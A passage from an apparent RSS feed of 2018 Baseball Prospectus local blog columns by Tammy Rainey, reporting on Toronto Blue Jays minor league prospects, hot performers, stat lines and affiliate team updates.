<li><strong>Santos Moreno</strong> &#8211; RHP &#8211; DSL &#8211; Who? Moreno is a diminutive righty from Mexico, who was so far off the radar that he wasn&#8217;t even on the published list of signings last July. But in the early going this season he&#8217;s made five starts and recorded a 2.08 ERA with 30 strikeouts in 21.2 IP.</li>
</ul>
<hr />
<p>&nbsp;</p>
<h4>Buffalo</h4>
<p>The Bisons continue to hang around .500 and continue to deal with the Jays raiding their rotation. With McGuire gone, and Gaviglio, Biagini, and now Borucki promoted, they badly needed the addition of Jon Harris last week to go along with the previous promotion of Sean Reid-Foley. Don&#8217;t be shocked if TJ Zeuch is up here by early August.</p>
<h4>New Hampshire</h4>
<p>Thomas Pannone, back from his suspension (though technically still on &#8220;rehab&#8221; assignment until Thursday), has stepped into Harris&#8217; vacated slot and performed well, as the Cats continue to hold first place even in the absence of Vlad Guerrero Jr. You may see Murphy join this team after the Double A All-Star break, along with lefty Angel Perdomo and newly acquired shortstop Santiago Espinal.</p>
<h4>Dunedin</h4>
<p>The D-Jays are 5-5 in the newly-begun second half, which is an improvement on their last-place finish in the first half. But they have had losses: Their most consistent hitter Eduard Pinto was promoted, their home run leader Bradley Jones retired unexpectedly, one-time prospect DJ Davis was released, and Logan Warmoth was barely off the DL until he was back on it.</p>
<h4>Lansing</h4>
<p>The &#8216;Nuts are 9-2 in the second half and are riding a string of strong starting pitching performances out of the break. Including the game ongoing at the time of this writing, Maximo Castillo, Maverick Buffo, and Donnie Sellers have combined for seven of the last 12 starts and a collective line of 40 IP, 30 H, 4 ER, 8 BB and 35 K &#8212; which works out to a 0.90 ERA. Not bad for a team that lost its two best starters to Dunedin and a third to the DL.</p>
<h4>Vancouver</h4>
<p>Despite initially struggling to produce offense, the C&#8217;s are 8-10 and just a game and a half out of first, so they have plenty of room to get rolling. Griffin Conine is here and seems to be gathering steam, but the recent draftee who&#8217;s contributing the most is second baseman Nick Podkul, who&#8217;s got an .849 OPS in the early going.</p>
<h4>Bluefield</h4>
<p>As mentioned earlier, Bluefield has been an offensive powerhouse so far. Besides Abbadessa and his 1.226 OPS, there&#8217;s right fielder DJ Neal (1.165), shortstop Luis De Los Santos (1.126), and third baseman Davis Schneider (1.112), as well as just-promoted infielder Otto Lopez (1.019). Last year&#8217;s second pick, catcher Hagen Danner, is hitting .350 in his last six games &#8212; a small sample, but encouraging nonetheless.</p>
<h4>GCL Jays</h4>
<p>Jordan Groshans is still here, but not for much longer with his .414 BA and 1.238 OPS. Other than him and Jiminez, the other hot-starting hitters have already moved up. I wonder if they are holding him back a few days in order to let him travel with Kloffenstein, who has yet to be assigned to a team.</p>
<hr />
<p>&nbsp;</p>
<p>By the time I write again on this subject, the MLB All-Star game will be in the offing, and the Triple A and Double A games a week in the past. I anticipate promotion news coming as the second half begins, and I may well be remarking on new acquisitions from major league trades. In the absence of contention, at least we can look forward to a potentially newsworthy month.</p>
<p><em>Lead Photo © Kim Klement-USA TODAY Sports</em></p>
<p>&nbsp;</p>
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		<title>Minor League Report: New Teams Edition</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/06/20/minor-league-report-new-teams-edition/</link>
		<comments>http://toronto.locals.baseballprospectus.com/2018/06/20/minor-league-report-new-teams-edition/#comments</comments>
		<pubDate>Wed, 20 Jun 2018 10:30:43 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Featured]]></category>

		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=16134</guid>
		<description><![CDATA[While the major league club, despite a wonderful weekend, is facing up to some harsh realities, it&#8217;s that time of the summer when things get hopping again in prospect land. Beginning with the Rule 4 draft last week, systems see an influx of new talent and the start of play for the short-season clubs, usually packed [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>While the major league club, despite a wonderful weekend, is facing up to some harsh realities, it&#8217;s that time of the summer when things get hopping again in prospect land. Beginning with the Rule 4 draft last week, systems see an influx of new talent and the start of play for the short-season clubs, usually packed with newly-drafted players and seasoned with a sprinkling of the more highly regarded July 2nd talent signed last year. Before I look at this week&#8217;s featured performers, let&#8217;s glance over these four squads and see who might be worth keeping an eye on.</p>
<p><strong>Vancouver</strong> generally gets the more advanced college draftees if there&#8217;s room on the roster. This year&#8217;s highest college selection is second-rounder <span style="text-decoration: underline">Griffin Conine, </span>who&#8217;s rumored to be close to a deal &#8212; as of this writing, he&#8217;s the only player among the Jays&#8217; first 15 selections who remains unsigned. When the ink is dry, he&#8217;ll surely become the regular right fielder for this team. Already on Vancouver&#8217;s roster are eight 2018 draftees, including Dane Johnson&#8217;s son Cobi, local-to-Vancouver product Will McAffer, and pitchers taken in the fourth, eighth, and 12th rounds. Also here are intriguing keystone combination <span style="text-decoration: underline">Nick Podkul</span> and Vinnie Capra (seventh and 20th respectively), as well as budget catcher Chris Bec. By far the most interesting players up from the lower levels with the Canadians are outfielder <span style="text-decoration: underline">Mc Gregory Contrares</span> and starter <span style="text-decoration: underline">Randy Pondler.</span></p>
<p>At <strong>Bluefield</strong>, whose roster was announced late Monday and may not be completely finalized yet, there are no less than eight pitchers taken in this year&#8217;s draft, with the highest selection being 13th round choice Brad Wilson. There&#8217;s also center fielder Hunter Steinmetz (11th) and third baseman John Aiello (14th). On this team, though, it&#8217;s the promoted guys who bear watching. Rumor has it that last year&#8217;s top July 2nd signing, Brazilian pitching phenom <span style="text-decoration: underline">Eric Pardinho,</span> will be assigned here &#8212; which is basically unheard-of for a 17-year-old pitcher. There&#8217;s also unheralded Dominican <span style="text-decoration: underline">Nathanael Perez, </span>who crushed DSL hitters last summer, 2017 second-round catcher <span style="text-decoration: underline">Hagen Danner,</span> and center fielder <span style="text-decoration: underline">Dominic Abadassa,</span> a 23rd-round pick in 2016 who turned heads with a .402 OBP in the GCL last year.</p>
<p>Speaking of the <strong>GCL Jays</strong>, the featured player here is obviously this year&#8217;s first-round choice <span style="text-decoration: underline">Jordan Groshans</span>. And while he is not yet formally assigned, you have to assume that Groshans&#8217; buddy <span style="text-decoration: underline">Adam Kloffenstein</span>, a starting pitcher selected in the third round, will be added soon. In a month or so, both will likely be moving up to Bluefield. Sixth-round shortstop <span style="text-decoration: underline">Addison Barger</span> is considered a player to watch, and there are four other 2018 draftees here so far. (At least two others listed as signed do not yet appear on any roster.) Keep an eye on <span style="text-decoration: underline">Alejandro Melean</span>, who earned the second-highest bonus among pitchers signed by the Jays last July 2nd, and Panamanian shortstop <span style="text-decoration: underline">Leo Jimenez</span> from the same signing class.</p>
<p>Finally, while it&#8217;s difficult for anyone to follow players in the <strong>DSL</strong>, the other two players that the Jays signed from last summer&#8217;s BA top-40 list of international free agents are playing here. <span style="text-decoration: underline">Miguel Hiraldo</span>, rated by some as the best hitter in his class, busted out of the gate hitting .365 with two homers already &#8212; you usually don&#8217;t see many homers in the DSL. Center fielder <span style="text-decoration: underline">Alberto Rodriguez,</span> meanwhile, has struggled early.</p>
<h3>Hottest Pitcher: Sean Reid-Foley</h3>
<p>The first time I mentioned SRF in this space he had to share the honors. But not this time. We&#8217;re midway through June now, the full-season teams have played around half of their games, and all of the best-performing pitchers in the system have at some point in June had a rough outing &#8212; except one.</p>
<p>When Reid-Foley was promoted to Triple A on May 24th, he got absolutely pounded. He gave up eight runs while getting only nine outs. Nerves, maybe? Whatever it was, he&#8217;s sorted it out in June. In four starts since his meltdown, he&#8217;s posted a 2.42 ERA with 29 strikeouts against five walks in 22.1 IP. If you, like me, have had doubts in the past 15 months or so about whether Reid-Foley was going to live up to the hype, signs are now pointing to yes.</p>
<h3>Hottest Hitter: Ryan Noda</h3>
<p>Just in case you weren&#8217;t paying attention last year, let me refresh you on young Mr. Noda. Noda was a 15th-round choice in 2017, known to have prodigious power and above average on-base skills, but he hit for a low average in his draft year and slid to the third day of the draft. Even the Jays were not completely sure they&#8217;d scored a steal &#8212; highly-regarded college draftees tend to go to Vancouver, but Noda was assigned instead to Bluefield. He promptly proceeded to beat Appy League pitching into submission, slashing an incredible .364/.507/.575, though there was a reason for caution in the form of an equally incredibly .470 BABIP.</p>
<p>Flash forward to 2018 and the first baseman&#8217;s assignment to the full-season Lugnuts, where he proceeded to lead the world in walks and nothing else. Over April and May he walked 51 times, and didn&#8217;t crank his first home run until May 30. As the first of June arrived, his line was .203/.443/.308. But he seems to have figured something out recently: In 12 June games he&#8217;s hitting .400/.463/.889 and showing no sign of cooling. Over the weekend he went 5-for-9 with a homer &#8212; his seventh in June &#8212; with another walk thrown in for good measure.</p>
<h3>5 Other Stat Lines</h3>
<ul>
<li><strong>T.J. Zeuch</strong> &#8211; RHP &#8211; sporting a 1.51 ERA in his last five starts. Being a ground ball machine, the strikeouts aren&#8217;t there but the results are.</li>
<li><strong>Bo Bichette</strong> &#8211; SS &#8211; Struggling for the first time in his baseball life, Bo got as low as hitting .244 with a .687 OPS on May 23. Since then he&#8217;s slashing .351/.408/.574 in 25 games, so the struggles seem to be in the past.</li>
<li><strong>Rowdy Tellez</strong> &#8211; 1B &#8211; Every season before last year I&#8217;d report Rowdy was cold early before he got hot and was good the rest of the year. Last year he never got heated up. This year, he seemed to hit bottom on May 14, when his average sat at .227. Since then his line is .301/.357/.388, which, while still not quite the production you want out of your first baseman, is encouraging.</li>
<li><strong>Anthony Alford</strong> &#8211; CF &#8211; Injuries and interruption by big league promotion had Alford floundering into late May with an abysmal .139 average. He seems to have righted the ship, though: In his last 18 games he&#8217;s slashing .297/.366/.406, which is a trend in the right direction if he can avoid injury.</li>
<li><strong>Patrick Murphy</strong> &#8211; RHP &#8211; In his last six starts Murphy has a 1.64 ERA and 30 strikeouts against 13 walks. His secondary numbers are not dominant but, like Zeuch, Murphy is getting plenty of outs on groundballs.</li>
</ul>
<h4>Buffalo Bisons</h4>
<p>Buffalo sits in second place, 3 1/2 games back of the division lead, with catcher Jansen remaining the most consistent offensive force. Dwight Smith Jr. and Lourdes Gurriel Jr. have been big contributors as well, and Rowdy Tellez has begun to come around in the last month or so. As is typical for Triple A, there&#8217;s been a lost of roster shuffle, particularly on the pitching staff. But Ryan Borucki and the seldom-noticed Chris Rowley have been mainstays of the rotation since the Jays plucked Gaviglio, McGuire, and Biagini out of their opening day rotation.</p>
<h4>New Hampshire Fisher-Cats</h4>
<p>Marcus Stroman was scheduled to get in his final rehab start in New Hampshire Monday night, but the game was rained out. Per his Twitter account, the Jays are just going to bring him back to the majors anyway. Meanwhile, the Fisher-Cats remain a game in front of the Trenton Thunder for first place in the tightly-contested division. You&#8217;re familiar already with the big three Bloodlines prospects, but another big offensive contributor is center fielder Jon Davis, who&#8217;s got a .390 OBP and 16 stolen bases from the leadoff spot. The loss of Reid-Foley was a blow to the pitching staff, but the addition of Zeuch and the recent hot streak by 2015 first-rounder Jon Harris have filled some of the gap.</p>
<h4>Dunedin Blue Jays</h4>
<p>The D-Jays sent two players to the mid-season game: personal favorite lefty starter Angel Perdomo, and last year&#8217;s third selection catcher Riley Adams. As a team, they ended the first half 10 games under .500 and in last place. Recently-arrived shortstop Kevin Smith brought his flaming bat with him, though, and if Adams and fresh-off-the-DL Logan Warmoth can get on track there&#8217;s potential for more from the listless offense (to say nothing of potential help from Lansing). Among unpromoted starting pitchers, the best work has come from Perdomo and Murphy, while Lansing promotions Yennsy Diaz and Zach Logue have not looked overwhelmed. Pour one out for 2012 first selection DJ Davis, whose underslot bonus probably made it possible to sign Anthony Alford: He never figured out how to hit, and he was released today by the organization.</p>
<h4>Lansing Lugnuts</h4>
<p>The &#8216;Nuts finished their first half in second place, 4 1/2 games back of Bowling Green but playing over-.600 ball and with a postseason berth in hand. Their offense hinges around the aforementioned Noda, swift center fielder Chavez Young (their ASG rep), power-hitting and mustache-wielding right fielder Brock Lundquist, and &#8212; when healthy &#8212; infielder Cullen Large. Their best unpromoted pitcher, Graham Spraker, remains on the DL.</p>
<p><em>Lead Photo © Logan Bowles-USA TODAY Sports</em></p>
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		<title>Minor League Report: Draft Week Edition</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/06/05/minor-league-report-draft-week-edition/</link>
		<comments>http://toronto.locals.baseballprospectus.com/2018/06/05/minor-league-report-draft-week-edition/#comments</comments>
		<pubDate>Tue, 05 Jun 2018 10:38:39 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Featured]]></category>

		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=16011</guid>
		<description><![CDATA[The 2018 major league draft is upon us so let&#8217;s take an overly brief moment to look at what we have seen so far from the previous two draft classes selected under the current management team, shall we? In 2016 the Jays signed 28 of their selections, one of whom is serving in the Navy [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>The 2018 major league draft is upon us so let&#8217;s take an overly brief moment to look at what we have seen so far from the previous two draft classes selected under the current management team, shall we?</p>
<p>In 2016 the Jays signed 28 of their selections, one of whom is serving in the Navy and two of whom have been traded already. Of the remaining 25, 18 are currently assigned to full season teams. Among those, seven have reached AA, five are in A-Advanced Dunedin and the other six are in Lansing. That&#8217;s pretty good but it should be noted that 10 of those 18 are relief pitchers. I&#8217;ll take a closer look at each team&#8217;s return on these guys below.</p>
<p>From the 2017 class, 32 players were signed, and 20 are assigned to a full season squad.  One, 10th round pitcher Justin Dillon, is assigned to AA (he actually got a few starts in AAA because the Jays had raided the Bisons rotation and was impressive, see below), eight are assigned to Dunedin, and the other 11 are with Lansing.</p>
<h3>Hottest Pitcher: Justin Dillon</h3>
<p>Why not stick with the theme, eh? In fact, it was not a real strenuous choice. There were a couple of other contenders who&#8217;ve had strong overall seasons and are worthy of mention but in the last couple of weeks, no one has statistically surpassed this guy or been a bigger surprise. Dillon was certainly very good in his Vancouver debut last year (1.96 ERA, .207 BAA, 0.91 WHIP, 7:1 K:BB) but he was the oldest player the Jays drafted (23 on draft day, 24 now) so he didn&#8217;t light up any of the top prospect lists.</p>
<p>This year he started at Dunedin where his stats were wrecked by one ugly outing on April 20. He was called on to fill in at Buffalo when they lost three starters to the Jays and in his first AAA start struck out 10 in six shutout innings (walking one). While the strikeouts seem to be an outlier, the run prevention isn&#8217;t. Apart from that one bad outing in Dunedin he has, across the three highest levels (he&#8217;s in New Hampshire now) his line looks like this:<br />
46.2 IP, 32 hits, 9 ER, 9 BB, 36 K, 1.74 ERA, 0.88 WHIP.</p>
<p>That plus his age makes it likely he&#8217;ll be the first player from last year&#8217;s draft to play in the majors.</p>
<h3>Hottest Hitter (OTV): Bo Bichette</h3>
<p>The ongoing historic season of Vlad Guerrero, Jr. (.407/.462/.661 since the last report) tends to suck the oxygen out of every prospect conversation, particularly relating to his teammates. In this case it probably saved us from a lot of hand-wringing among Jays prospect-aware fans about &#8220;what&#8217;s wrong with Bo!?!&#8221; Indeed, as of May 23 his BA had dropped to .244 and his OPS was a mediocre .687 at the nadir of a 3 for 32 slump. Such worry, though, would have been unfounded. In 13 games since then he has slashed .354/.404/.625 and restored an upward trajectory to his season. One of Bichette&#8217;s reported strengths is the ability to adjust and it seems that may be exactly what he did here. Also, basically every scout who&#8217;s seen him is now reporting he&#8217;s defensively a major league shortstop at this point and doubts which led some to suppose an eventual move to second or third are never voiced anymore.</p>
<h3>5 Other Stat Lines (May 18 &#8211; June 2)</h3>
<ul>
<li><strong>Ryan Borucki (LHP)</strong> &#8211; Buffalo &#8211; 1.82 ERA in four starts since the last report &#8211; Borucki bottomed out on May 1 when he gave up six runs in five IP. Since then, in six starts with 37.2 IP his ERA is 1.67 and he has posted a 0.88 WHIP. If the management decides the season is lost, look for Borucki to be the first true prospect SP to get a try in Toronto.</li>
<li><strong>Jordan Romano (RHP)</strong> &#8211; New Hampshire &#8211; 3.24 ERA in three starts &#8211; One of those three outings was an emergency start for a double-header in Buffalo which was always intended to be a one-off. In my opinion, he&#8217;s looking overdue for promotion but obviously the team has a plan I&#8217;m not party to.</li>
<li><strong>Angel Perdomo (LHP)</strong> &#8211; Dunedin &#8211; 2.81 ERA in 3 starts &#8211; Perdomo had his roughest outing of the season in terms of runs allowed on Sunday, but came into that game with a 1.74 ERA in his previous seven 2018 starts. Like Romano, I&#8217;ve been banging the drum for his promotion. I know they have their reasons for delaying but it sure doesn&#8217;t show up on the stat sheet.</li>
<li><strong>Danny Jansen (C)</strong> &#8211; Buffalo &#8211; .366/.500/.488 &#8211; Jansen could easily have gotten the honors for this week. It&#8217;s time for the Jays to seriously consider what it would take to trade Martin if, indeed, they sell off this season.</li>
<li><strong>Brock Lundquist (RF)</strong> Lansing &#8211; .327/.490/.441 &#8211; Lundquist may well be the next Lugnut to move up to Dunedin. I&#8217;d be surprised if either he or Chavez Young play a game for the Nuts after their All-Star break in a couple of weeks.</li>
</ul>
<h4>Buffalo Bisons</h4>
<p>&#8211; For the first time as a Jays affiliate, the Bisons are contenders in the IL North having gone 14-6 in their last 20 games. With a strong offense led by Jansen, Dalton Pompey (who&#8217;s now back on the DL until at least the all-star break -*sob*- because of a thumb injury) Dwight Smith, Jr and Lourdes Gurriel, Jr. (as well as erstwhile Jason Leblebijian) and a mostly reliable pitching staff, this isn&#8217;t a mirage. This is particularly true now that Anthony Alford seems to be breaking his slump.</p>
<h4>Fisher Cats</h4>
<p>&#8211; As noted above, Justin Dillon joins eight 2016 draft selections on this roster, most notably Bichette (3rd round). Cavan Biggio (6th), whom you&#8217;ve heard a word or three about, is from the same class as is starting pitcher and first rounder TJ Zeuch (by the way, go look at his stats for this year before he appears again. No questions, just do it). Joining them are four relievers: Zach Jackson (4th rounder) who was considered an up-and-comer but is walking WAY too many for the role right now, Nick Hartman (10th), Kirby Snead (11th) and Brayden Bouchey (34th) none of whom have sufficient IP at NH to say much about at the moment, but Snead, a lefty, was particularly good last season. Like Buffalo, leading the division is unfamiliar territory for the F-Cats but this is a really good team.</p>
<h4>Dunedin</h4>
<p>&#8211; The recently promoted (after setting ablaze Midwest League pitching) Kevin Smith, a SS who was last summer&#8217;s 4th round selection, joined currently injured first round choices (SS) Logan Warmoth and (RHSP) Nate Pearson along with catcher Riley Adams (3rd) from the same draft class here. Also in Dunedin are previously promoted Kacey Clemens (8th), 2016 5th round CF Joshua Palacios, and 19th round infielder Bradley Jones. On the pitching staff there&#8217;s another recent promotion, Zach Logue (5th 2017), who was dynamite for Lansing and two relievers from each class &#8211; closer Ty Tice (16th) and Jon Cheshire (36th) from last year and Andy Ravel (8th), Conner Eller (24th) and Jake Fishman (31st) from 2016. Still, Dunedin hasn&#8217;t been a good team and currently sits in last place. If Warmoth and Adams get going, and Smith and other promotions from Lansing (some still to come) can translate their success the second half might be brighter.</p>
<h4>Lansing</h4>
<p>&#8211; The Lugnuts are rolling into Bowling Green Tuesday to take on the one team in their division with a (slightly) better record. Despite playing .632 ball, Lansing sits one game back of the Hot Rods but both are closing in on playoff spots. The team&#8217;s impressive offense has always had someone to lead the way, first it was Clemens and when he was promoted Smith carried on. Now he&#8217;s gone too but fellow 2017 selections 3b/2b Cullen Large (5th), who spent four weeks on the DL but in the week since he&#8217;s been back has been even better, and previously mentioned RF Brock Lundquist (6th) are leading the way. Another key offensive performer is CF Chavez Young who was taken in lowly round 39 in 2016 but has so far impressed everyone. Also, 1B/LF Ryan Noda (15th) is here, setting walk records but not yet looking like the offensive monster we saw in Bluefield last summer. Meanwhile the pitching staff is packed with recent choices with no fewer than 10 2016/17 selections playing here, even after promotions. The best of the bunch so far is 31st rounder SP Graham Spraker, who&#8217;s currently on the DL. Also keep your eye on 21st rounder SP Turner Larkins who sports a 2.17 ERA in his last six outings.</p>
<p>&nbsp;</p>
<p>In conclusion, for you deep-dive prospect hounds, and this is REALLY deep, the DSL team began play yesterday and got crushed 17-0. The players of note here are SS Miguel Hiraldo (the second highest paid July 2 signing by the Jays last summer) and outfielder Alberto Rodriguez (5th highest). In all 10 of the signings announced last July 2 are here but three of the four highest profile guys are not, and project to land in the GCL when they get going soon.</p>
<p>Lead Photo © Aaron Doster-USA TODAY Sports</p>
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		<title>Minor League Report: Coming Up Big-gio</title>
		<link>http://toronto.locals.baseballprospectus.com/2018/05/22/minor-league-report-coming-up-big-gio/</link>
		<comments>http://toronto.locals.baseballprospectus.com/2018/05/22/minor-league-report-coming-up-big-gio/#comments</comments>
		<pubDate>Tue, 22 May 2018 10:12:15 +0000</pubDate>
		<dc:creator><![CDATA[Tammy Rainey]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Featured]]></category>

		<guid isPermaLink="false">http://toronto.locals.baseballprospectus.com/?p=15917</guid>
		<description><![CDATA[This week&#8217;s report is heavier on high profile prospects than might ordinarily be the case. Other than the youngsters making noise in the Lansing rotation, few of these names are going to catch you by surprise. That said, top prospects doing what you expect them to do is much better than the alternative. Hottest Pitcher: [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>This week&#8217;s report is heavier on high profile prospects than might ordinarily be the case. Other than the youngsters making noise in the Lansing rotation, few of these names are going to catch you by surprise. That said, top prospects doing what you expect them to do is much better than the alternative.</p>
<h3>Hottest Pitcher: Ryan Borucki</h3>
<p>Since my last column, Borucki has made three starts and racked up 20 IP while allowing only two earned runs on eight hits and five walks. On May 1 he got rocked for six runs in five IP but seems to have found his rhythm. If this keeps up, cycling through the low expectations of Joe Biagini and Deck McGuire may soon take a back seat to a legitimate prospect taking the Toronto mound.</p>
<h3>Hottest Hitter: Cavan Biggio</h3>
<p>(non-Guerrero division)<br />
Biggio was a very ordinary guy for Dunedin last year. You certainly won&#8217;t find his name ranked on any of the major pre-season top prospect lists. But the son of Hall of Famer Craig Biggio found a way to put the ball over the fence in a big, big way this year; his 12 homers through 36 games are more than he hit in 127 last year. Over the last two weeks Biggio&#8217;s OBP is .408 — which is great — but his slugging percentage is .833, which is insane. One of the more interesting stories going forward will be whether this progress is real (which reports of his swing change suggest is the case) or some sort of as yet unexplained aberration.</p>
<h3>5 Other Stat Lines</h3>
<ul>
<li><strong>Kevin Smith (SS/3B)</strong> &#8211; .368/.425/.658/1.083 &#8211; Smith has hit .429 in his last 10 games and has been deeply involved in almost all the Lansing offense (while also playing highly praised defense).</li>
<li><strong>Jordan Romano (RHP)</strong> &#8211; 1.94 ERA, 0.88 WHIP, 8.6 K/9 &#8211; Like Borucki, the Markham native had given up only two earned runs in his last three starts (16.2 IP, 5 H, 7 BB, 16 K), though he left his last one early with some cramping. He has given up as many as three runs in an outing only once so far and, at 25, seems to be building a case for a promotion to Buffalo sooner rather than later as long as he can stay healthy.</li>
<li><strong>Sean Reid-Foley (RHP)</strong> &#8211; 2.03 ERA, 1.06 WHIP, 10.6 K/9 &#8211; SRF had his first wild game of the year last weekend but outside of that one blip, he&#8217;s been everything the Jays wanted to see this year. He is still yet to allow more than two earned runs in any appearance. Like Romano, a promotion is only a matter of time if this continues.</li>
<li><strong>Vlad Guerrero, Jr (3B)</strong> &#8211; .421/.471/.697/1.169 &#8211; Look, this is going to get redundant if I just point to the obvious reality that Vladito will probably be the hottest hitter every week. So I&#8217;m spreading the love, but you can&#8217;t write an update without taking note either. Since our last report, he&#8217;s hitting a mere .462 so&#8230;yeah.</li>
<li><strong>Danny Jansen (C) &#8211; </strong>.306/.415/.459/.874 &#8211; Since the last report Jansen has hit .333 in 11 games, with a .440 OBP and .476 slugging. In 48 AAA games over two seasons his OPS is over .900 and with more walks than strikeouts.</li>
</ul>
<h3>Around the Farm</h3>
<h4>Buffalo Bisons</h4>
<p>The Bisons continue to be plagued by bad weather, losing another two dates to the rain and went 5-6 in the games they did play. For the last week they have been patching together a rotation, with three of their regular SP in Toronto so postponing some games provided some inadvertent relief. Offensively, the rock remains Jansen who has hit consistently while others come and go.</p>
<h4>New Hampshire Fisher Cats</h4>
<p>Since the last report the F-Cats are 9-6, carried primarily by two hitters (VGJ and Biggio) and two very good starting pitchers. They are looking ahead to Bo Bichette finding his grove (he&#8217;s sitting on a .720 OPS as of this writing) and Max Pentacost to get untracked. Meanwhile, Jon Harris continues to disappoint and Francisco Rios has been a disaster.</p>
<h4>Dunedin Blue Jays</h4>
<p>Even though they finished the fortnight 7-6 the D-Jays remain under .500 and a look at the stats provides all the explanation we need for that circumstance. The offensive leader, singles hitting outfielder Eduard Pinto, carries a .734 OPS and that coming off a stretch of hitting .412 in his last 10 games. Swift CF Joshua Palacios is slumping after a hot start and 2017 high round draftees Logan Warmoth and Riley Adams have yet to get going.</p>
<h4>Lansing Lugnuts</h4>
<p>The red-hot first place &#8216;Nuts saw their nine-game win streak end Friday night — one short of tying the team record —but the team is doing almost everything right at this point. SS/3B Kevin Smith (last year&#8217;s 4th rounder) was my runner up for the hottest hitter honor and outfielders Chavez Young (chosen in the 39th round in 2016!) and Brock Lundquist (6th round 2017) are in on the fun as well. Meanwhile the rotation is chock full of success. You know about Yennsy Diaz, but there are three others, all drafted last year, who are putting up impressive results: Graham Sparker (31st), Zach Logue (9th) and Turner Larkins (21st). Keep an eye on these guys as they were college picks that may advance quickly.</p>
<p>Lead Photo © Bruce Dill-USA TODAY Sports</p>
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